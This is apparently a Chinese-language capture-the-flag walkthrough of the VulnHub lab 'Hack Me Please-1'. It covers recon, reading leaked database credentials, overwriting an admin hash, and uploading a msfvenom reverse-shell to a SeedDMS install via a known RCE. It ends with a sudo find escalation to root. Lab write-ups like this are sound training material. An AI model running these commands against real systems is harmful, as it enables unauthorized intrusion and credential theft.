『vulnhub系列』Hack Me Please-1

『vulnhub系列』Hack Me Please-1

下载地址:

https://www.vulnhub.com/entry/hack-me-please-1,731/

信息搜集:

使用nmap进行探测存活主机,发现主机开启了80端口和3306端口

nmap 192.168.0.*

访问80端口的web服务

使用dirsearch扫描目录,但是并没有可以访问的页面

dirsearch -u "http://192.168.0.132/"

在main.js发现提示,有一个目录/seeddms51x/seeddms-5.1.22/

访问一下是一个登录页面

现在我们扫描这个目录

dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/"

访问/install页面

发现install不了

http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php

说是要在conf目录下创建ENABLE_INSTALL_TOOL ,但是我们好像并不知道这个conf目录在哪里

可以确定当前seeddms51x/seeddms-5.1.22/ 目录下没有。现在我们向前每一级文件都爆破一下。

dirsearch -u "http://192.168.0.132/seeddms51x/"

我们现在几乎可以确定conf就在/seeddms51x/这个目录文件下了

然后我们继续访问conf/ENABLE_INSTALL_TOOLconf,发现都无法访问

继续爆破一下吧,终于发现了settings.xml

dirsearch -u "http://192.168.0.132/seeddms51x/conf"

访问一下,我们找到了数据库的用户名和密码都为:seeddms

我们登录mysql

mysql -h 192.168.0.132 -u seeddms -p

show database; #查看数据库

发现users表

use seeddms; #使用seeddms数据库
show tables; #查看表

查看users表的内容发现用户名和密码

+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+

select * from users; #查看users所有内容

使用ID和密码登录

登录失败,还有个表是tblUsers,我们查看一下,里面有一个admin和一个md5加密的密码

select * from tblUsers;

我们可以覆盖一下,首先使用python生成一个md5值21232f297a57a5a743894a0e4a801fc3

python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())'

修改数据库条目,修改成功

update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin';

使用我们修改后的密码admin和用户名admin登录,登陆成功

漏洞利用:

我们发现添加文件选项是可以上传文件的,我们上传一个msfvenom生成的反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php

我们此时搜一下seeddms的漏洞

看到一个远程命令执行,看一下如何实现

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

......

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

步骤1,2:就是登录,然后上传一个文档,我们已经上传完成了例子用的是一个webshell,我们上传的是反弹shell,我们需要找到上传文件的位置

步骤3:查看文档的id,我们通过刚刚上传的反弹php序号为12

步骤4:访问/data/1048576/"document_id"/1.php 页面,在那之前先开启msf的监听,然后访问1.php

反弹成功

提升权限:

我们查看/home页面发现存在用户saket

我们之前有在数据库中发现过saket,他的密码是Saket@#$1337 我们登陆试试,登录成功

su saket

使用sudo -l 查看此用户可以以root权限执行的命令,发现是(ALL : ALL) ALL

那就自由发挥吧,这里使用find提权,成功

sudo find /home -exec /bin/bash \;

热门相关:非人类基因统合体   纨绔毒医   佣兵的战争   爆萌宠妃:邪帝,要抱抱   煌煌天道无上剑宗